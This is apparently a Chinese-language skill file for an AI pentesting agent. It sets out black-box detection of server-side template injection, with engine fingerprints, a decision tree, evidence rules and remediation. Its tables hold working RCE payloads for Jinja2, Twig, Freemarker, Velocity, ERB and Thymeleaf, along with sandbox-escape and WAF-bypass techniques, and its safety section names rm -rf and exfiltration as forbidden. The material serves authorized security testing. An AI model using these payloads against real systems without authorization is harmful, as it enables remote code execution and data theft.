| name | ssti-testing |
| description | 服务端模板注入(SSTI)多引擎综合检测——分诊 Jinja2 / Twig / Smarty / Freemarker / Velocity / Mustache 等模板引擎,覆盖表达式求值回显 / 沙箱逃逸 / RCE / 带外通道。 流量中用户输入流入模板渲染、响应回显数学运算结果(如 `{{7*7}}` → `49`)、错误信息含模板引擎关键字、404 / error 页回显用户路径名时使用。 |
| when-to-use | 当用户输入出现在模板渲染结果中(个性化内容、邮件模板、动态页面生成),可能命中 Jinja2/Twig/Freemarker/Velocity 等模板引擎时 |
| allowed-tools | bash,read_file,list_files,rg |
| user-invocable | false |
SSTI:服务端模板注入多引擎综合检测(黑盒)
1. 触发线索 / 适用信号
以下是已知的 SSTI 触发线索,作为基线起点而非必检硬清单。结合流量与响应特征动态调整:
- 适用且已完成 →
[x] done
- 明确不适用 →
[-] n/a (原因)(原因要具体到响应特征)
- 基线未列出但实际发现 →
[+] added (来源)
响应特征命中信号(漏洞-specific):
- 数学表达式被求值并回显(
{{7*7}} → 49、${7*7} → 49、<%=7*7%> → 49、{7*7} → 49)
- 错误响应含模板引擎栈帧关键字(
jinja2.exceptions / TwigError / freemarker.core / velocity.runtime / Smarty)
- 404 / error 页将用户提交的路径名 / 参数原样作为模板片段渲染(
?name={{7*7}} 在错误页里出现 49)
- 用户提交字符串中的模板分隔符(
{{ }} / ${ } / <% %>)被剥离或替换 → 表明已进入模板解析阶段
入口类型粗筛(仅作类似场景示例 不限于此):
- 模板渲染接口:
/templates/render / /preview 形态,直接接受用户模板源码
- 邮件 / 站内信 / 短信模板:用户可定制的邮件正文 / 主题
- 报表 / PDF 生成:用户可控的报表模板片段
- 个性化页面:昵称 / 签名 / 个人主页 / 欢迎语等模板变量被反写进渲染上下文
- 错误页 / 自定义错误信息:参数值被渲染到错误模板中
- 营销创意 / CMS 富文本:用户输入嵌入模板源码而非作为模板数据
业务命名(如 template / markup / body_template)只作粗筛根据——sink 语义相同就属此范围。JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名;具体参数位置由 HAR 实际请求推导,不在此预设清单。
2. 造成原因
source 是任何用户可控输入(query / body / header / cookie / 路径参数 / 已入库再回读的字段)。sink 是模板解析上下文:Jinja2.Template(s).render() / Twig_Environment::createTemplate($s) / freemarker.template.Template(new StringReader(s)) / velocity.evaluate(...) / Smarty display(string:s) / Go html/template.Parse(s) / ERB ERB.new(s).result 等任何把字符串当作模板源码解析的引擎。
任何 source 未经"作为模板数据"绑定就被作为模板源码解析,即构成 SSTI——攻击者控制的字符串改变了模板表达式语法树。模板引擎将其中的表达式求值并执行,从单纯的字符串变成可执行的代码上下文。安全做法是把用户输入作为变量值(context data)而非模板源码本身。
与 XSS 的关键区别:XSS 是模板输出未转义的 HTML 字符(数据流出),SSTI 是模板解析字符串中的表达式(数据被当成代码)。同一形态可能既是 XSS 又是 SSTI 候选——sink 语义不同需独立判定。
沙箱不是免疫层:模板引擎沙箱(Jinja2 SandboxedEnvironment / Twig SandboxExtension / Velocity SecureUberspector)阻止 RCE 但不消除注入——表达式仍可求值、上下文对象仍可枚举、信息泄露 / DoS 通道仍存在;且沙箱本身常被逃逸(魔术属性链 / 反射 / 类层级遍历)。
3. 响应信号映射
列出 SSTI 黑盒可观测的响应通道集合(observation-channel)——攻击效果可被黑盒探测的侧信道。输入位置(query / body / header / cookie / path 等本漏洞典型 source)从 HAR 实际请求推导,本节不预设清单。
响应观察通道集合(observation-channel):
arith-echo:数学表达式求值结果回显({{7*7}} → 49 等同构信号)
error-engine-echo:模板引擎栈帧 / 异常类名回显到响应
object-enum:上下文对象 / 类层级 / 属性枚举可见(如 {{config}} / {{self.env}} 输出对象 dump)
file-read:通过模板表达式读取本地文件(__import__('os').open(...) 等)
cmd-echo:通过模板表达式执行 OS 命令且回显结果(popen('id').read())
oob-dns / oob-http:带外通道触发(无回显时由模板表达式发起 DNS / HTTP 请求)
secondary-readback:二阶 SSTI 在另一端点回读时触发解析
sandbox-confined:表达式求值生效但被沙箱限制无 RCE(仍属 confirmed medium)
4. 常见类型
| 类型 | 触发条件 | 响应特征 | 适用引擎 |
|---|
| Jinja2 表达式注入 | {{ }} / {% %} 分隔符被解析 | {{7*7}} → 49;{{7*'7'}} → 7777777(Python 字符串乘法) | Python Jinja2 / Flask |
| Twig 表达式注入 | {{ }} 分隔符被解析 | {{7*7}} → 49;{{7*'7'}} → 49(数值乘法) | PHP Twig / Symfony |
| Smarty 表达式注入 | { } 分隔符被解析 | {7*7} → 49;{$smarty.version} 暴露版本 | PHP Smarty |
| Freemarker 表达式注入 | ${ } / <#assign> 被解析 | ${7*7} → 49;<#assign ex="freemarker.template.utility.Execute"?new()> | Java Freemarker |
| Velocity 表达式注入 | #set / $ 被解析 | #set($x=7*7)$x → 49;$class.inspect("java.lang.Runtime") | Java Velocity |
| Mustache / Handlebars 注入 | {{ }} 分隔符被解析 | 多数引擎为 logic-less 仅信息泄露;Handlebars {{#with}} 可触发原型链 | JS Handlebars / Mustache |
| ERB / Slim 注入 | <%= %> 被解析 | <%=7*7%> → 49;<%= system('id') %> 直接 RCE | Ruby ERB |
| Pebble / Thymeleaf 注入 | {{ }} / [[${ }]] 被解析 | [[${7*7}]] → 49;Thymeleaf SpringEL T(java.lang.Runtime) | Java Pebble / Thymeleaf |
| Go html/template 注入 | {{ }} 分隔符 + Parse(userInput) | 内置函数有限;沙箱内枚举 printf / index / slice 仍属注入 | Go html/template |
| 客户端模板注入(AngularJS) | {{ }} 在前端被 $compile 解析 | {{constructor.constructor('alert(1)')()}} 弹窗 | AngularJS 1.x |
| 二阶 SSTI | 入库时不解析,回读时进入模板 | 用户昵称含 {{7*7}},admin 端列表渲染时解析 | 全部 |
| OOB(带外) | 表达式求值但响应无回显 | 通过表达式发起 DNS / HTTP 请求到攻击者域名 | Jinja2 / Freemarker / Velocity |
5. 侦察输入
按以下方式从侦察输出中筛 SSTI 候选:
从 HAR / 端点账本:
- 端点路径含
/render / /preview / /template / /welcome / /email / /notify / /report / /pdf
- 参数名含
template / body_template / markup / content / message / subject / name / greeting / signature
- 响应里曾出现过模板引擎错误关键字(
jinja2 / Twig / Freemarker / Velocity / Smarty)
- POST / PUT 端点的 body 全字段(JSON / form 各字段都是候选,包括嵌套对象字段)
- 路径参数被回显到 404 / error 页(典型如 Flask
/<name> 模式)
从业务场景(由页面级建模输出,见 {page}-page-model.md 语义节):
下列业务场景仅作类似场景示例 不限于此;以页面级模型实际输出为准。
- SaaS:邮件 / 通知 / 站内信模板定制;自定义报表
- 营销 / CMS:广告创意模板、落地页生成、富文本编辑器
- 客服 / 工单:自动回复模板、动态填充用户数据
- 论坛 / 社区:用户签名、个人主页、欢迎语
- 运维 / DevOps:告警通知模板、CI/CD 流水线模板渲染
从身份切换 HAR 对比:
- 普通用户 / 管理员两份 HAR 里仅在管理员端出现的模板渲染端点是高价值候选(admin 端常有"自定义邮件模板""通知模板配置"等更高权限的解析能力)
- 跨子系统的同名
/render / /preview 端点每个独立测,不假设"在 A 测过 B 也安全"
从静态资源回显:
- 404 / 500 错误页是否将 URL 路径段渲染回 body(Flask、Express 等框架常见)
- 上传文件名是否被回显到下载列表 / 错误提示 / 邮件通知中
业务命名(如"模板""内容""消息")只作粗筛——sink 语义相同就是候选,JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名。
6. 框架 / 模板引擎响应指纹
通过响应(错误关键字 / header / 求值差异 / 行为)推断后端模板引擎 / 框架 / 沙箱模式,优化 payload 选择。
模板引擎响应指纹
| 响应特征 | 推断引擎 | payload 选择 |
|---|
{{7*'7'}} → 7777777(Python 字符串乘法) | Jinja2 / Mako | 用 {{config.__class__.__mro__}} 探测沙箱、{{ ''.__class__.__mro__[1].__subclasses__() }} 提取类 |
{{7*'7'}} → 49(数值乘法) | Twig | 用 {{_self.env}} / {{['id']|filter('system')}} |
{7*7} → 49,{$smarty.version} 回显版本 | Smarty | 用 {php}phpinfo();{/php}(旧版)/ {Smarty_Internal_Write_File::writeFile(...)} |
${7*7} → 49,错误页含 freemarker.core.ParseException | Freemarker | 用 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
#set($x=7*7)$x → 49,错误含 org.apache.velocity | Velocity | 用 $class.inspect("java.lang.Runtime").type.getMethod("exec",...) |
<%=7*7%> → 49,错误含 (erb) | ERB / Ruby | 用 <%= system('id') %> / <%= IO.popen('id').read %> |
[[${7*7}]] → 49,错误含 org.thymeleaf | Thymeleaf | 用 SpringEL [[${T(java.lang.Runtime).getRuntime().exec('id')}]] |
错误含 jinja2.exceptions.TemplateSyntaxError | Jinja2 | 同上 |
错误含 Twig\Error\SyntaxError | Twig | 同上 |
错误含 freemarker.core.ParseException | Freemarker | 同上 |
{{constructor.constructor('alert(1)')()}} 弹窗(前端) | AngularJS 1.x | 客户端模板注入,区别于服务端 |
框架响应指纹
| 响应特征 | 推断框架 | 默认模板引擎 |
|---|
Server: gunicorn / Werkzeug debugger | Flask / Django | Jinja2 / DTL |
X-Powered-By: Symfony / Set-Cookie: symfony | Symfony | Twig |
Server: nginx + Spring 栈帧 | Spring Boot | Thymeleaf / Freemarker |
X-Powered-By: Express | Node.js Express | EJS / Pug / Handlebars |
Set-Cookie: PHPSESSID + WordPress / Laravel 标记 | PHP | Blade / Twig / Smarty |
Server: gin / Go 栈帧 | Go gin / echo | html/template / pongo2 |
沙箱与防护响应指纹
| 响应特征 | 推断 | 绕过方向 |
|---|
{{config}} 返回空 / 异常但 {{7*7}} 仍求值 | Jinja2 SandboxedEnvironment | 走 lipsum.__globals__ / cycler.__init__.__globals__ |
{{['id']|filter('system')}} 被阻断但 {{7*7}} 求值 | Twig SandboxExtension | 找未注册到黑名单的 filter / 函数 |
${"freemarker.template.utility.Execute"?new()} 被阻断 | Freemarker Configuration.setAPIBuiltinEnabled(false) 或 sandbox | 找新增的可达类(ObjectConstructor 等) |
表达式输出被实体编码({{7*7}}) | 仅 XSS 防护,无 SSTI 解析 | 排除 SSTI,转 XSS 路线 |
响应指纹仅作辅助判断——真实的 sink 验证仍需在 §9 闭环要求章节定义的可观测效果证据。
7. 思考检查点
加载本 skill 时按这些问题思考:
- 这个参数在 HAR 里出现在哪个位置?响应里有没有可观察的表达式求值回显或差异通道?
- 同端点其他参数是否走同一段模板渲染模板?(同模板下其他字段往往是候选)
- 响应里有模板引擎错误关键字吗?没有的话,能否用沙箱内对象枚举 / 带外 / 数值差分作为侧信道?
- 这个字段是被当作模板源码解析,还是只作为模板数据填入?(前者 SSTI,后者 XSS)
- 沙箱是否启用?沙箱限制 RCE 不等于无漏洞——表达式可求值即已 confirmed(medium 起判)
- 是不是二阶?这个参数会被入库吗?后续哪些端点会回读它进入模板上下文?
- 跨子系统是否有同形态的
/render / /preview 端点?(admin 端常复用普通端模板代码)
8. 检测方法论 / 决策树
全局约束(默认保守预算)
- 单参数最多 15 次请求(含基线 / 多引擎探测 / 重试);同一轮只改 1 个参数
- 探测阶段仅使用数学表达式(
{{7*7}} 等),不执行系统命令;命令仅在确认引擎后用无害命令(id / hostname)演示
- 并发建议 1;抖动大时加重试而非加并发
- 一旦"确认"立即停止进一步利用探测,沙箱逃逸 / RCE 评估按需小步推进
Step 0:基线采集
- 发送原始请求 2-3 次,记录"基线响应特征"
- 标记并忽略动态字段(时间戳 / 随机 ID / sessionToken)
- 确认参数值在响应中原样回显的位置——SSTI 必须存在回显或副作用通道才能观测
Step 1:多引擎表达式探测
发送各引擎的标志性表达式,观察是否被求值:
| 引擎候选 | 探测 payload | 命中信号 |
|---|
| Jinja2 / Twig / Pebble / Handlebars | {{7*7}} | 响应回显 49 |
| Smarty | {7*7} | 响应回显 49 |
| Freemarker / Thymeleaf | ${7*7} | 响应回显 49 |
| Velocity | #set($x=7*7)$x | 响应回显 49 |
| ERB / Slim / EJS | <%=7*7%> | 响应回显 49 |
| Thymeleaf 转义模式 | [[${7*7}]] | 响应回显 49 |
对照 payload(防偶然命中):发送 {{8*8}} / ${8*8} 等,回显应变为 64——若两个表达式都映射到同一固定值,则非 SSTI 而是字符串过滤异常。
Step 2:引擎差异化指纹
按 §6 响应指纹表识别具体引擎。关键差异化探针:
{{7*'7'}}:Jinja2 → 7777777(Python 字符串乘法);Twig → 49(数值乘法)
${7*7} 命中但 <#assign> 不可用 → 可能是 Thymeleaf 而非 Freemarker
{$smarty.version} 回显版本号 → 确认 Smarty 并取版本
结论标注置信度(high / medium / low)。
Step 3:策略决策树
表达式被求值且响应回显结果? → 走对象枚举 / RCE 链
表达式被求值但响应无回显? → 沙箱内 OOB(DNS / HTTP)
错误响应含模板栈帧但无求值结果? → 报错型 SSTI(信息泄露,suspected→确认)
分隔符被剥离 / 替换但保留其他字符? → 已进入解析阶段(suspected→换分隔符再试)
完全原样回显或被实体编码? → 排除 SSTI(可能 XSS)
Step 4:利用确认(仅在授权范围内)
根据识别的引擎,使用对应的链确认能力范围:
| 引擎 | 沙箱外 RCE | 沙箱内信息泄露 |
|---|
| Jinja2 | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} | {{lipsum.__globals__.os.popen('id').read()}} / {{cycler.__init__.__globals__.os.popen('id').read()}} |
| Twig | {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} | {{_self.env}} dump 配置 |
| Smarty | {php}system('id');{/php}(旧版) / {Smarty_Internal_Write_File::writeFile('/tmp/x','x',$smarty)} | {$smarty.version} / {$smarty.template} |
| Freemarker | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} | <#assign value="freemarker.template.utility.ObjectConstructor"?new()> |
| Velocity | #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke(...) | $class.inspect("java.lang.Runtime") |
| ERB | <%= system('id') %> / <%= IO.popen('id').read %> | <%= self.class %> |
| Go html/template | 沙箱内通常无 RCE;枚举内置函数集(printf/index/slice/html/js/urlquery/eq) | {{.}} / {{printf "%#v" .}} 暴露上下文 |
| Thymeleaf | [[${T(java.lang.Runtime).getRuntime().exec('id')}]](SpringEL) | [[${session}]] / [[${request}]] |
Step 5:确认 + 防误报
- 强证据(满足其一即 confirmed):表达式求值结果稳定回显(
{{7*7}} → 49 且 {{8*8}} → 64);沙箱内对象枚举返回非空 dump;带外通道收到明确归属本注入的请求;执行两个不同命令(如 id / hostname)输出均可控
- 弱证据(需两类同时满足才升 confirmed):错误响应含模板栈帧 + 分隔符被剥离 / 替换;单次求值命中但未稳定复现 + 引擎指纹一致
- 拒绝条件:单次 500 / 单次模板报错 / payload 字符在响应里但数值未被求值——一律 suspected;分隔符被实体编码(
{)→ not vulnerable(仅 XSS 路径)
Payload 范式与编码绕过
- WAF 关键字过滤(
__class__ / config)→ 用属性访问的等价写法(['__class__'] / attr('__class__') 等)
- 分隔符过滤(
{{ }} 被剥)→ 试其他分隔符({% %} / {# #})或自定义分隔符配置探测
- 字符串过滤(引号被禁)→ 用
request.args.x 间接获取 / 字符 chr 拼接
- 长度限制 → 多步分散在多请求(
{% set x = ... %} 跨片段不可行,需找单包 payload 范式)
- 输出被 HTML 转义但表达式仍求值 → 仍属 confirmed(求值已发生),危害分级看是否可触发副作用
基线检查项(按 §4.3 三态标注)
9. 闭环要求(必须遵守)
闭环判定(confirmed / suspected / not_vulnerable)以 common/closure-verification.md 为准。下面只列本漏洞特有的可观测信号。
confirmed(必须挂可观测效果证据):
- 表达式求值回显:
{{7*7}} → 49 与 {{8*8}} → 64 都稳定可复现,且不带 payload 时响应里不出现 49 / 64
- 沙箱内对象枚举:
{{config}} / {{_self.env}} / {{.}} 等输出非空对象 dump,沙箱限制 RCE 但表达式求值生效仍判 confirmed (medium)
- 沙箱外 RCE:执行两个不同无害命令(如
id / hostname),输出均可控且与命令语义匹配
- OOB:带外通道(DNS / HTTP)收到明确归属本注入的请求,含时间戳和唯一 token
- 二阶 SSTI:入库字段在回读端点被解析(如 admin 列表页渲染包含
{{7*7}} 的昵称时回显 49)
suspected(落 status=needs_review):
- 单次求值命中(未稳定复现)
- 错误响应仅到"模板语法错误"层级,未拿到任何求值结果或对象 dump
- 分隔符被剥离 / 替换但未观察到求值结果
- payload 字符出现在响应里但数值未变化(可能仅字符串回显,非求值)
not_vulnerable(落 status=not_vulnerable):
- 输入被完整实体编码(
{{ → {{)且无任何引擎差异化探针被求值
- 该端点不接触模板引擎(静态资源 / 纯 JSON 序列化输出 / 健康检查)
- 同模板下所有 source 字段均作为模板数据(context value)绑定(来自 graybox 流程的白盒证据)
禁止仅凭"payload 字符在响应里""响应 500""错误信息含 template 字样"判 confirmed——这些只到 suspected。沙箱限制 RCE 不等于无漏洞:只要表达式被求值,已属 confirmed(medium),附沙箱绕过评估。
反例义务(必须遵守)
why:反例义务属于交付契约——"该子系统无 SSTI"或"已防护"结论是覆盖完整性的产物声明,缺失反向验证清单会让下游误信"该维度全站安全"。模板引擎种类多、分隔符差异大,缺失多引擎覆盖会让漏报集中在小众引擎上。
写"未发现 SSTI"或"已防护"前,产物必须包含:
- 测过的 SSTI 候选端点完整清单(按 sink 语义枚举,所有触发线索类别都覆盖:
/render / 邮件 / 报表 / 个性化 / 错误页 / 路径回显 / 二阶 等)
- 每端点测过的引擎分隔符类型(Jinja2
{{}} / Smarty {} / Freemarker ${} / Velocity #set$ / ERB <%=%> / Thymeleaf [[${}]] 至少六类)
- 每端点的响应证据(基线响应 / payload 响应 / 求值结果 / 沙箱限制证据 / 内置对象枚举结果)
清单不完整 → 结论降级为 partial-coverage 并显式声明未覆盖范围。
10. 具象化反例库
FP(看似命中实际不构成)
反例 1:payload 字符在响应里但数值未求值
- 抽象规则:字符回显 ≠ 表达式求值
- 具体场景:请求
?name={{7*7}},响应回显 Hello, {{7*7}},字面值原样输出
- 关键识别特征:响应中
{{7*7}} 完整保留,未变成 49
- 排除方法:换
{{8*8}} 看是否回显 64;若仍原样回显,则参数只作为字符串拼接进 HTML(可能是 XSS 候选,不是 SSTI)
反例 2:分隔符被实体编码
- 抽象规则:HTML 实体编码 ≠ 模板解析
- 具体场景:响应里
{{7*7}} 变成 {{7*7}}
- 关键识别特征:响应中分隔符被实体化,浏览器视觉上仍是
{{7*7}} 但 HTML 层是实体
- 排除方法:用其他分隔符(
${ } / <%= %>)测;都未求值且都被编码 → not vulnerable
反例 3:响应 500 含模板栈帧但无任何求值
- 抽象规则:模板栈帧 ≠ SSTI confirmed
- 具体场景:响应 500,body 含
jinja2.exceptions.TemplateNotFound: foo
- 关键识别特征:是"模板未找到"类异常,不是用户输入触发的语法错误
- 排除方法:删 payload 看是否仍 500;可能是服务端自身模板路由问题,与本参数无关
FN(看似不命中实际是真洞)
反例 4:沙箱限制 RCE 被误判 not_vulnerable
- 抽象规则:沙箱阻止 RCE 不等于无 SSTI
- 具体场景:
{{7*7}} 求值为 49,但 {{config.__class__}} 报 SecurityError
- 关键识别特征:表达式可求值 + 危险属性被沙箱拦截
- 确认方法:求值生效本身已是 confirmed (medium);继续找沙箱外可达的对象(
lipsum / cycler / range),评估沙箱绕过可能性
反例 5:JSON body 字段被忽略的 SSTI 候选
- 抽象规则:JSON body 字段每个都是候选,不能只测顶层可见字段
- 具体场景:POST
/api/notify body 含 {"recipient": "...", "subject": "...", "body": "..."},body 字段被作为邮件模板渲染
- 关键识别特征:HAR 里 POST body 字段未在 query string 出现,但响应或带外(邮件送达后)能观察求值
- 确认方法:JSON body 每个字段单独 fuzzing
{{7*7}} / ${7*7} 等,参考 Step 1 多引擎探测
反例 6:路径参数被错误页渲染
- 抽象规则:404 错误页常将 URL 路径段作为模板片段渲染
- 具体场景:访问
/user/{{7*7}} 返回 404,body 含 User 49 not found
- 关键识别特征:路径段中的表达式被求值后嵌入错误页
- 确认方法:用
/user/{{8*8}} 验证 64;再做引擎差异化探针确认
易混淆案例
反例 7:客户端模板注入(CSTI)被误归为 SSTI
- 抽象规则:前端 AngularJS / Vue 模板引擎解析 ≠ 服务端 SSTI
- 具体场景:响应是静态 HTML,
{{7*7}} 在浏览器中被 AngularJS $compile 解析为 49
- 关键识别特征:用
curl 直接看响应里仍是 {{7*7}};浏览器渲染后才变 49
- 确认方法:禁用浏览器 JS 看是否仍求值;CSTI 风险等级 / 修复路径与 SSTI 不同,需单独记
反例 8:跨子系统隐式推广(漏报高发模式)
- 抽象规则:在子系统 A 测过 ≠ 子系统 B 也安全
- 具体场景:测了 user-portal 的
/templates/render 未发现 SSTI,admin-portal 同名端点未测就推断安全
- 关键识别特征:不同子系统、不同团队、不同时期;admin 端常复用普通端模板代码但实现可能各异(沙箱配置不同 / 引擎版本不同)
- 确认方法:admin / user / 第三方接入端每个子系统独立做反例义务自检
11. 测试安全边界
破坏性 / 不可逆动作的闭环边界以 common/closure-verification.md《破坏性 / 不可逆动作的闭环边界》节为准。下面只列 SSTI 特有的破坏点。
禁止对真实业务执行以下动作来"挂可观测效果":
system('rm -rf ...') / popen('shutdown ...') 类破坏性命令
- 通过模板表达式写文件覆盖业务文件(
Smarty_Internal_Write_File::writeFile / Freemarker 文件写入 API)
- 通过模板表达式调用业务逻辑(如
{{user.delete()}} 风格的上下文方法调用)
- 通过 SSTI 读取并外传业务敏感数据(密钥 / token / 配置文件中的连接串)—— 演示读取可,但不外传不留底
允许的非破坏验证手段:
- 数学求值探针:
{{7*7}} / ${7*7} / <%=7*7%> 等无副作用算术,配合对照值({{8*8}})防误报
- 无害命令演示:
id / hostname / whoami / pwd 等只读命令,确认 RCE 能力即停
- 沙箱内对象枚举:
{{config}} / {{_self.env}} / {{.}} 等只读 dump,记录"可读到什么"但不外传内容
- 带外通道:DNS / HTTP OOB(不修改目标状态)
- 哨兵自证:建测试模板 / 测试上下文,仅对哨兵执行破坏性表达式
12. 修复建议
源头治理(首选)
- 不将用户输入作为模板源码:用户输入作为模板变量值(context data)传入预定义模板:
- Jinja2:
Template(static_template).render(user_input=value) 而非 Template(user_input).render()
- Twig:
$twig->render($predefined, ['data' => $user_input]) 而非 createTemplate($user_input)->render()
- Freemarker:用预定义
.ftl 文件 + Configuration.getTemplate(name),禁止 new Template(name, new StringReader(user_input), cfg)
- Go html/template:用静态
.tmpl 文件 + template.ParseFiles,禁止 template.New("").Parse(userInput)
- 客户端模板(AngularJS):使用
$sce 服务标记可信内容;避免在 ng-bind-html 中传入用户输入
沙箱模式(次选,深度防御)
- Jinja2:
SandboxedEnvironment + 移除危险全局(lipsum / cycler 在严格场景下要 patch)
- Twig:
SandboxExtension + SecurityPolicy 显式白名单 tags / filters / functions / methods
- Freemarker:
Configuration.setAPIBuiltinEnabled(false) + 自定义 ObjectWrapper 限制可达类
- Velocity:
SecureUberspector + 移除 RuntimeInstance 类的反射访问
沙箱不是免疫层:表达式求值生效本身已构成 SSTI(信息泄露 / DoS 风险);沙箱仅减少利用面,不能替代源头治理。
边界过滤(仅作辅助)
- WAF 规则覆盖常见 payload(
{{ / }} / ${ / #set / <%= / __class__ 等关键字)——仅作辅助,不替代源头治理
- 应用层拒绝模板分隔符——易绕过(自定义分隔符 / 编码绕过),仅作日志记录与告警触发
兜底拒绝
- 模板渲染进程最小权限:禁止文件系统写、限制网络出向
- 错误响应不暴露模板栈帧(生产环境关闭 debug 模式 / 详细错误页)
- 二阶字段在回读到模板上下文前重新做白名单过滤,不复用入库时的"已校验"假设
参考